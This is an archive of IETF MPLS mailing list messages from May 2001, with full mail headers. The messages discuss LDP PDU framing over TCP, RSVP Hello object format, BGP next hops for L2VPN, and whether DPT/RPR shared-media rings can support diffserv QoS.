Received: from rhthomas-sun2.cisco.com (rhthomas-sun2.cisco.com [161.44.134.47])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f47K4Da29414;
	Mon, 7 May 2001 13:04:13 -0700 (PDT)
Received: from localhost (rhthomas@localhost) by rhthomas-sun2.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) with ESMTP id QAA05723; Mon, 7 May 2001 16:03:40 -0400 (EDT)
Message-Id: <200105072003.QAA05723@rhthomas-sun2.cisco.com>
X-Authentication-Warning: rhthomas-sun2.cisco.com: rhthomas owned process doing -bs
To: "Grant, Scott" <Scott_Grant@NAI.com>
cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: LDP formats 
In-reply-to: Your message of "Mon, 07 May 2001 12:34:09 PDT."
             <55E02B6F8FA8D311985300902740BB2003598278@ca-exchange4.nai.com> 
Date: Mon, 07 May 2001 16:03:40 -0400
From: Bob Thomas <rhthomas@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

> I'm working on a decode for sniffer and I've encountered something that
> isn't exactly described in RFC 3036. I have a trace file from Extreme
> Networks where there are frames with several PDUs in a single TCP message.
> I've read through RFC 3036, and I can't find anything saying that there can
> or can't be multiple PDUs in a frame. Is this something that will become a
> defacto standard due to several vendors doing this? I'd appreciate any
> comments.

The trace is legal.  Note also that it is legal for a single LDP PDU to
span multiple TCP segments.

RFC3036 specifies the use of TCP to transport messages for LDP sessions.
IMO it is neither necessary nor desirable for it to specify the mapping
of data (LDP messages) to TCP segments.

Bob



From owner-mpls@UU.NET  Mon May  7 16:12:26 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA21376
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 16:12:25 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoai21340;
	Mon, 7 May 2001 20:11:25 GMT
Received: by mail-control.mail.uu.net 
	id QQkoai14121
	for mpls-outgoing; Mon, 7 May 2001 20:10:53 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoai14073
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 20:10:38 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoai27546
	for <mpls@UU.NET>; Mon, 7 May 2001 20:10:20 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkoai07920
	for <mpls@UU.NET>; Mon, 7 May 2001 20:10:20 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA28279
	for <mpls@UU.NET>; Mon, 7 May 2001 16:10:18 -0400 (EDT)
Received: from marconi.com (lego-king.dc.fore.com [169.144.136.180])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA05392
	for <mpls@UU.NET>; Mon, 7 May 2001 16:10:17 -0400 (EDT)
Message-ID: <3AF70132.382B2A83@marconi.com>
Date: Mon, 07 May 2001 16:10:26 -0400
From: Jack Brennen <John.Brennen@marconi.com>
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: LDP formats
References: <55E02B6F8FA8D311985300902740BB2003598278@ca-exchange4.nai.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

"Grant, Scott" wrote:
> 
> I'm working on a decode for sniffer and I've encountered something that
> isn't exactly described in RFC 3036. I have a trace file from Extreme
> Networks where there are frames with several PDUs in a single TCP message.
> I've read through RFC 3036, and I can't find anything saying that there can
> or can't be multiple PDUs in a frame. Is this something that will become a
> defacto standard due to several vendors doing this? I'd appreciate any
> comments.


I think that the answer here is that there is no such thing as a "single
TCP message" -- TCP is a stream-based protocol; there are no internal
boundaries defined at the transport layer.  The only boundaries in an
LDP session stream are the boundaries between PDUs.  At the application
level, an LDP implementation must be prepared to parse PDUs whether they
arrive in huge blocks of 10 PDUs at once, or whether they arrive 1 byte
at a time -- either can happen over TCP.

  Jack


From owner-mpls@UU.NET  Mon May  7 16:19:36 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA21573
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 16:19:36 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoaj17270;
	Mon, 7 May 2001 20:18:31 GMT
Received: by mail-control.mail.uu.net 
	id QQkoaj15416
	for mpls-outgoing; Mon, 7 May 2001 20:17:59 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkoaj15370
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 20:17:52 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoaj29900
	for <mpls@UU.NET>; Mon, 7 May 2001 20:17:45 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkoaj28721
	for <mpls@UU.NET>; Mon, 7 May 2001 20:17:45 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA28958
	for <mpls@UU.NET>; Mon, 7 May 2001 16:17:43 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA07850
	for <mpls@UU.NET>; Mon, 7 May 2001 16:17:42 -0400 (EDT)
Message-ID: <3AF702F3.2A76BB17@marconi.com>
Date: Mon, 07 May 2001 16:17:55 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: LDP formats
References: <200105072003.QAA05723@rhthomas-sun2.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Bob Thomas wrote:
> 
> IMO it is neither necessary nor desirable for it to specify the
> mapping of data (LDP messages) to TCP segments.

Nor is it necessarily possible.

-- David


From owner-mpls@UU.NET  Mon May  7 16:40:47 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA21973
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 16:40:46 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoak23751;
	Mon, 7 May 2001 20:39:46 GMT
Received: by mail-control.mail.uu.net 
	id QQkoak17295
	for mpls-outgoing; Mon, 7 May 2001 20:39:13 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkoak17283
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 20:38:57 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoak09339
	for <mpls@UU.NET>; Mon, 7 May 2001 20:38:09 GMT
Received: from dnsmx1pya.telcordia.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1pya.telcordia.com [128.96.20.31])
	id QQkoak01752
	for <mpls@UU.NET>; Mon, 7 May 2001 20:38:09 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1pya.telcordia.com (8.9.3/8.9.3) with ESMTP id NAA02089;
	Mon, 7 May 2001 13:02:56 -0400 (EDT)
Subject: Re: RSVP hello message
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Mon, 7 May 2001 13:03:22 -0400
Message-ID: <OF7702F071.1BC68C14-ON85256A45.005D8B94@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/07/2001 01:03:23 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


David,

Thanks for your pointer.  I really appreciated.

Did you get chance to take a look at my disconnection(clear network)
questions?

Thanks

Julia







David Charlap <david.charlap@marconi.com> on 05/07/2001 12:23:10 PM

To:   mpls@UU.NET
cc:    (bcc: Hong Liao/Telcordia)
Subject:  Re: RSVP hello message



Hong Liao wrote:
>
> The hello message in RSVP draft-ietf-mpls-rsvp-lsp-tunnel-07.txt, the
> format for hello message is as on section 5.1:
>
> <Hello message>:: = <Common Header>  [<INTEGRITY>] <HELLO>
>
> I want to make sure if the Hello object here is only one or a list
> of Hello objects.
> For my understanding, the format in Hello message, <Hello>  is not
> a list of Hello objects, it should be one Hello object between two
> RSVP neighbours.
> Can anyone help me to confirm this?

You have the correct understanding.  A single HELLO object per message.
One message per peer.  If for some reason you have multiple peers
sharing an interface (eg. a shared-media link), then each peer gets a
separate Hello message, each containing one HELLO object.

-- David






From owner-mpls@UU.NET  Mon May  7 18:42:50 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA23670
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 18:42:50 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoas07739;
	Mon, 7 May 2001 22:42:28 GMT
Received: by mail-control.mail.uu.net 
	id QQkoas07861
	for mpls-outgoing; Mon, 7 May 2001 22:41:57 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoas07850
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 22:41:41 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoas02100
	for <mpls@UU.NET>; Mon, 7 May 2001 22:40:54 GMT
Received: from tenornetworks.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtu.tenornetworks.com [63.77.213.2])
	id QQkoas26277
	for <mpls@UU.NET>; Mon, 7 May 2001 22:40:54 GMT
Received: from tenornet.com (newman [192.168.0.185])
	by tenornetworks.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f47MerK02532
	for <mpls@UU.NET>; Mon, 7 May 2001 18:40:53 -0400 (EDT)
Received: from 192.168.0.185
          by tenornet.com;
          MON, 7 May 2001 18:35:55 -0700
Received: by newman.tenornet.com with Internet Mail Service (5.5.2650.21)
	id <22V8AX62>; Mon, 7 May 2001 18:35:55 -0400
Message-ID: <6B190B34070BD411ACA000B0D0214E56C65C81@newman.tenornet.com>
From: "Li, Eve" <eveli@tenornetworks.com>
To: mpls@UU.NET
Subject: Comments on kompella-mpls-l2vpn-02 draft
Date: Mon, 7 May 2001 18:35:47 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

BGP's next hop field for L2VPN signalling is not clearly specified. 

Since [BGP-MP] (rfc 2858) requires that the next hop address be in the same
address family as the NLRI.  What the next hop address should be for
L2VPN-specific NLRIs?  Thx, 

-eve


From owner-mpls@UU.NET  Mon May  7 19:14:57 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA24237
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 19:14:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoau11970;
	Mon, 7 May 2001 23:13:50 GMT
Received: by mail-control.mail.uu.net 
	id QQkoau29403
	for mpls-outgoing; Mon, 7 May 2001 23:13:18 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoau29389
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 23:13:04 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoau08037
	for <mpls@UU.NET>; Mon, 7 May 2001 23:11:42 GMT
Received: from philotas.hosting.pacbell.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: philotas.hosting.pacbell.net [216.100.99.24])
	id QQkoau13394
	for <mpls@UU.NET>; Mon, 7 May 2001 23:11:42 GMT
Received: from jaypc (adsl-64-168-85-242.dsl.snfc21.pacbell.net [64.168.85.242])
	by philotas.hosting.pacbell.net
	id TAA26062; Mon, 7 May 2001 19:11:10 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.7]
From: "Jay Wang" <jwang@opixnetworks.com>
To: "Juha Heinanen" <jh@lohi.eng.telia.fi>,
        "Jay Wang" <jwang@opixnetworks.com>
Cc: "HANSEN CHAN" <hansen.chan@alcatel.com>, "Fred Baker" <fred@cisco.com>,
        "Naidu, Venkata" <Venkata.Naidu@Marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, <te-wg@ops.ietf.org>
Subject: RE: QoS in Shared Media
Date: Mon, 7 May 2001 16:09:35 -0700
Message-ID: <NEBBKNOANMBIAAGAOBILAENNCBAA.jwang@opixnetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <15091.38161.514887.486740@lohi.eng.telia.fi>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


Dunno what is the problem. To support diffserv, the underneath
transport (MAC layer and lower), does not have to have a
sophisticated traffic management matching diffserv PHBs. The fact
that cisco's DPT (or others RPR version for that matter), a MAC
layer technology, that supports only two transmit queueing priorities,
hence is not a disqualifier for supporting diffserv on the higher level,
where you suggested otherwise. In a share-media environment, from
diffserv's perspective, what we need from below is a link layer
that may ensure a quantifiable and stable guaranteed throughput for the
target nodes, regardless of the other sharing nodes. This is what is
missing in the original IEEE-802-style LAN. The DPT, on the other hand,
assures total_ring-BandWidth/node_num for each node. Given that, the
business of diffserv traffic management, e.g., BA classification,
policing, color-based RED dropping, PHB scheduling, and so on and so forth,
can be conducted as they should have been at the connected nodes.

- jay


-----Original Message-----
From: Juha Heinanen [mailto:jh@lohi.eng.telia.fi]
Sent: Friday, May 04, 2001 10:52 PM
To: Jay Wang
Cc: HANSEN CHAN; Fred Baker; Naidu, Venkata; 'mpls@uu.net';
te-wg@ops.ietf.org
Subject: RE: QoS in Shared Media


Jay Wang writes:

 > Well, RPR gives you bandwidth endurance at the link level, a shared
 > media in this case. On higher level, you may conduct your QoS as
 > appropriate, Diffserv, Intserv, or else. One does not preclude the other,
 > IMO.

how about if someone would like to give different bandwidth assurance to
more than one independent traffic class?  also, within a diffserv
traffic class, droping of packets is based on the drop presedence of the
packet, not based on behind which nodes the packets arrived.

as i said before, node based fairness can only be applied to the highest
dp packets within each class.  dpt (and also rpr if it adopts dpt) thus
supports diffserv only in a very limited sense.  as far as i remember,
it is the only ieee mac standard, where the specification tells how many
queues the switch has.

-- juha


-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Juha
Heinanen
Sent: Friday, May 04, 2001 12:01 PM
To: HANSEN CHAN
Cc: Fred Baker; Naidu, Venkata; 'mpls@uu.net'; 'te-wg@ops.ietf.org'
Subject: Re: QoS in Shared Media

HANSEN CHAN writes:

 > How about the work in IEEE 802.17 RPR? I believe it will be a
shared-media
 > technology. Does that mean they will have a hard time to achieve QoS
 > guarantees?

last time that i checked, the rpr proposal (based on cisco dpt) had two
classes of service (strict priority and best effort). that is clearly
not adequate for diffserv.  node based fairness applied to the best
effort class.  in diffserv, node based fairness makes sense only for the
highest dp packets in each traffic class.

-- juha



From owner-mpls@UU.NET  Mon May  7 19:48:29 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA24632
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 19:48:29 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoax29286;
	Mon, 7 May 2001 23:48:05 GMT
Received: by mail-control.mail.uu.net 
	id QQkoax02285
	for mpls-outgoing; Mon, 7 May 2001 23:47:26 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoax02266
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 23:46:59 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoax19465
	for <mpls@UU.NET>; Mon, 7 May 2001 23:45:36 GMT
Received: from ns2.cypress.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ns2.cypress.com [157.95.67.5])
	id QQkoax25850
	for <mpls@UU.NET>; Mon, 7 May 2001 23:45:35 GMT
Received: from corpmail.cypress.com (corpmail.cypress.com [157.95.1.2])
	by ns2.cypress.com (8.10.2/8.10.2) with ESMTP id f47NjM401206;
	Mon, 7 May 2001 16:45:22 -0700 (PDT)
Received: from cobweb.mis.cypress.com (cobweb.mis.cypress.com [172.16.2.5])
	by corpmail.cypress.com (8.10.2/8.10.2) with ESMTP id f47NgIW03795;
	Mon, 7 May 2001 16:42:18 -0700 (PDT)
Received: from cypress.com ([172.16.130.117])
	by cobweb.mis.cypress.com (8.10.2/8.10.2) with ESMTP id f47NirS09788;
	Mon, 7 May 2001 16:45:03 -0700 (PDT)
Message-ID: <3AF733B8.8E93C4F5@cypress.com>
Date: Mon, 07 May 2001 16:46:00 -0700
From: Pankaj K Jha <pkj@cypress.com>
Organization: Cypress  Semiconductor Corp.
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jay Wang <jwang@opixnetworks.com>
CC: Juha Heinanen <jh@lohi.eng.telia.fi>,
        HANSEN CHAN <hansen.chan@alcatel.com>, Fred Baker <fred@cisco.com>,
        "Naidu, Venkata" <Venkata.Naidu@Marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, te-wg@ops.ietf.org
Subject: Re: QoS in Shared Media
References: <NEBBKNOANMBIAAGAOBILAENNCBAA.jwang@opixnetworks.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Jay:

It's the other way around: let's say you have four nodes A, B, C, D. If [B, C]
require more bandwidth for a certain traffic flow (after making reservations
through RSVP, etc.) they should be able to get it. In case of Ethernet
connecting A, B, C, and D (in sequence, not on the same LAN - we're looking at
ring-type scenario so we can compare Ethernet vs. DPT performance), the Ethernet
MAC doesn't look at Diff-serv bits and passes packets to the system. The system
allows/rejects flows through a node (for transit as well as transmit traffic)
according to rules and permissions. Ethernet doesn't come in the way of doing
these.

DPT, on the other hand, will go ahead and divide available bandwidth equally to
all four nodes - ignoring whatever you may do with Diff-serv. DPT works best
when all nodes have equal bandwidth requirements, and it doesn't work when you
have dissimilar bandwidth needs. Dissimilar bandwidth needs are quite common in
metro networks where hub-and-spoke configurations are norm. If you have
bandwidth paying customers such as financial institutions and corporate clients
on a metro ring along with average over-provisioned clients, DPT will not do the
job at all, in my view.

It must be noted that a shared LAN-like behavior will give just that - a
LAN-like performance. Diff-serv, etc. are not for all nodes on the same side of
a LAN - these are when you go from network to network. So you cannot use DPT and
make the ring like a pure shared LAN and then try to apply diff-serv to give
different treatment to different customers on the nodes on the *same* LAN.

In a ring network, nodes are not hanging off a wire like Ethernet nodes do on a
LAN. Instead, nodes are connected in sequence - packets enter a node and go to
next node (depending on traffic engineering at the node) and so on. I do feel a
better MAC will do the job here better than Ethernet, but this MAC has to be
carefully designed. A MAC cannot first bypass all L3/L2 assignments and then
tell the system to do the rest. By the time the MAC is done with transit and
node transmit packets, the packet treatments have already been done and the
packet is already out on the Tx port (especially the transit packet).

Maybe I'm missing something here?

-Pankaj

Jay Wang wrote:

> Dunno what is the problem. To support diffserv, the underneath
> transport (MAC layer and lower), does not have to have a
> sophisticated traffic management matching diffserv PHBs. The fact
> that cisco's DPT (or others RPR version for that matter), a MAC
> layer technology, that supports only two transmit queueing priorities,
> hence is not a disqualifier for supporting diffserv on the higher level,
> where you suggested otherwise. In a share-media environment, from
> diffserv's perspective, what we need from below is a link layer
> that may ensure a quantifiable and stable guaranteed throughput for the
> target nodes, regardless of the other sharing nodes. This is what is
> missing in the original IEEE-802-style LAN. The DPT, on the other hand,
> assures total_ring-BandWidth/node_num for each node. Given that, the
> business of diffserv traffic management, e.g., BA classification,
> policing, color-based RED dropping, PHB scheduling, and so on and so forth,
> can be conducted as they should have been at the connected nodes.
>
> - jay
>
> -----Original Message-----
> From: Juha Heinanen [mailto:jh@lohi.eng.telia.fi]
> Sent: Friday, May 04, 2001 10:52 PM
> To: Jay Wang
> Cc: HANSEN CHAN; Fred Baker; Naidu, Venkata; 'mpls@uu.net';
> te-wg@ops.ietf.org
> Subject: RE: QoS in Shared Media
>
> Jay Wang writes:
>
>  > Well, RPR gives you bandwidth endurance at the link level, a shared
>  > media in this case. On higher level, you may conduct your QoS as
>  > appropriate, Diffserv, Intserv, or else. One does not preclude the other,
>  > IMO.
>
> how about if someone would like to give different bandwidth assurance to
> more than one independent traffic class?  also, within a diffserv
> traffic class, droping of packets is based on the drop presedence of the
> packet, not based on behind which nodes the packets arrived.
>
> as i said before, node based fairness can only be applied to the highest
> dp packets within each class.  dpt (and also rpr if it adopts dpt) thus
> supports diffserv only in a very limited sense.  as far as i remember,
> it is the only ieee mac standard, where the specification tells how many
> queues the switch has.
>
> -- juha
>
> -----Original Message-----
> From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Juha
> Heinanen
> Sent: Friday, May 04, 2001 12:01 PM
> To: HANSEN CHAN
> Cc: Fred Baker; Naidu, Venkata; 'mpls@uu.net'; 'te-wg@ops.ietf.org'
> Subject: Re: QoS in Shared Media
>
> HANSEN CHAN writes:
>
>  > How about the work in IEEE 802.17 RPR? I believe it will be a
> shared-media
>  > technology. Does that mean they will have a hard time to achieve QoS
>  > guarantees?
>
> last time that i checked, the rpr proposal (based on cisco dpt) had two
> classes of service (strict priority and best effort). that is clearly
> not adequate for diffserv.  node based fairness applied to the best
> effort class.  in diffserv, node based fairness makes sense only for the
> highest dp packets in each traffic class.
>
> -- juha



From owner-mpls@UU.NET  Mon May  7 19:53:38 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA24701
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 19:53:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoax19903;
	Mon, 7 May 2001 23:52:39 GMT
Received: by mail-control.mail.uu.net 
	id QQkoax02927
	for mpls-outgoing; Mon, 7 May 2001 23:52:04 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoax02883
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 23:51:44 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoax06770
	for <mpls@UU.NET>; Mon, 7 May 2001 23:51:12 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkoax04038
	for <mpls@UU.NET>; Mon, 7 May 2001 23:51:12 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA11106
	for <mpls@UU.NET>; Mon, 7 May 2001 19:51:09 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA07915
	for <mpls@UU.NET>; Mon, 7 May 2001 19:51:09 -0400 (EDT)
Message-ID: <3AF734FB.A0908D69@marconi.com>
Date: Mon, 07 May 2001 19:51:23 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: QoS in Shared Media
References: <NEBBKNOANMBIAAGAOBILAENNCBAA.jwang@opixnetworks.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Jay Wang wrote:
> 
> Dunno what is the problem. To support diffserv, the underneath
> transport (MAC layer and lower), does not have to have a
> sophisticated traffic management matching diffserv PHBs. ...
> In a share-media environment, from diffserv's perspective, what we
> need from below is a link layer that may ensure a quantifiable and
> stable guaranteed throughput for the target nodes, regardless of the
> other sharing nodes.

If every node is connected via a layer-2 switch that is policing and
shaping traffic, then the nodes are not sharing media.

If the media is actually shared - connected via repeaters and not
bridges - then QoS can only work when everybody plays nice together.

-- David


From owner-mpls@UU.NET  Mon May  7 20:36:20 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA25253
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 20:36:20 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoba29363;
	Tue, 8 May 2001 00:36:05 GMT
Received: by mail-control.mail.uu.net 
	id QQkoba25078
	for mpls-outgoing; Tue, 8 May 2001 00:35:31 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkoba25073
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 00:35:30 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoba10809
	for <mpls@UU.NET>; Tue, 8 May 2001 00:34:45 GMT
Received: from red.juniper.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: red.juniper.net [207.17.136.137])
	id QQkoba27194
	for <mpls@UU.NET>; Tue, 8 May 2001 00:34:45 GMT
Received: from fuinar.juniper.net (fuinar.juniper.net [172.17.12.75])
	by red.juniper.net (8.9.3/8.9.3) with ESMTP id RAA15209;
	Mon, 7 May 2001 17:34:44 -0700 (PDT)
Received: (from qv@localhost) by fuinar.juniper.net (8.8.8/8.7.3) id RAA17975; Mon, 7 May 2001 17:34:44 -0700 (PDT)
From: Quaizar Vohra <qv@juniper.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Mon,  7 May 2001 17:34:44 -0700 (PDT)
To: "Li, Eve" <eveli@tenornetworks.com>
Cc: mpls@UU.NET
Subject: Comments on kompella-mpls-l2vpn-02 draft
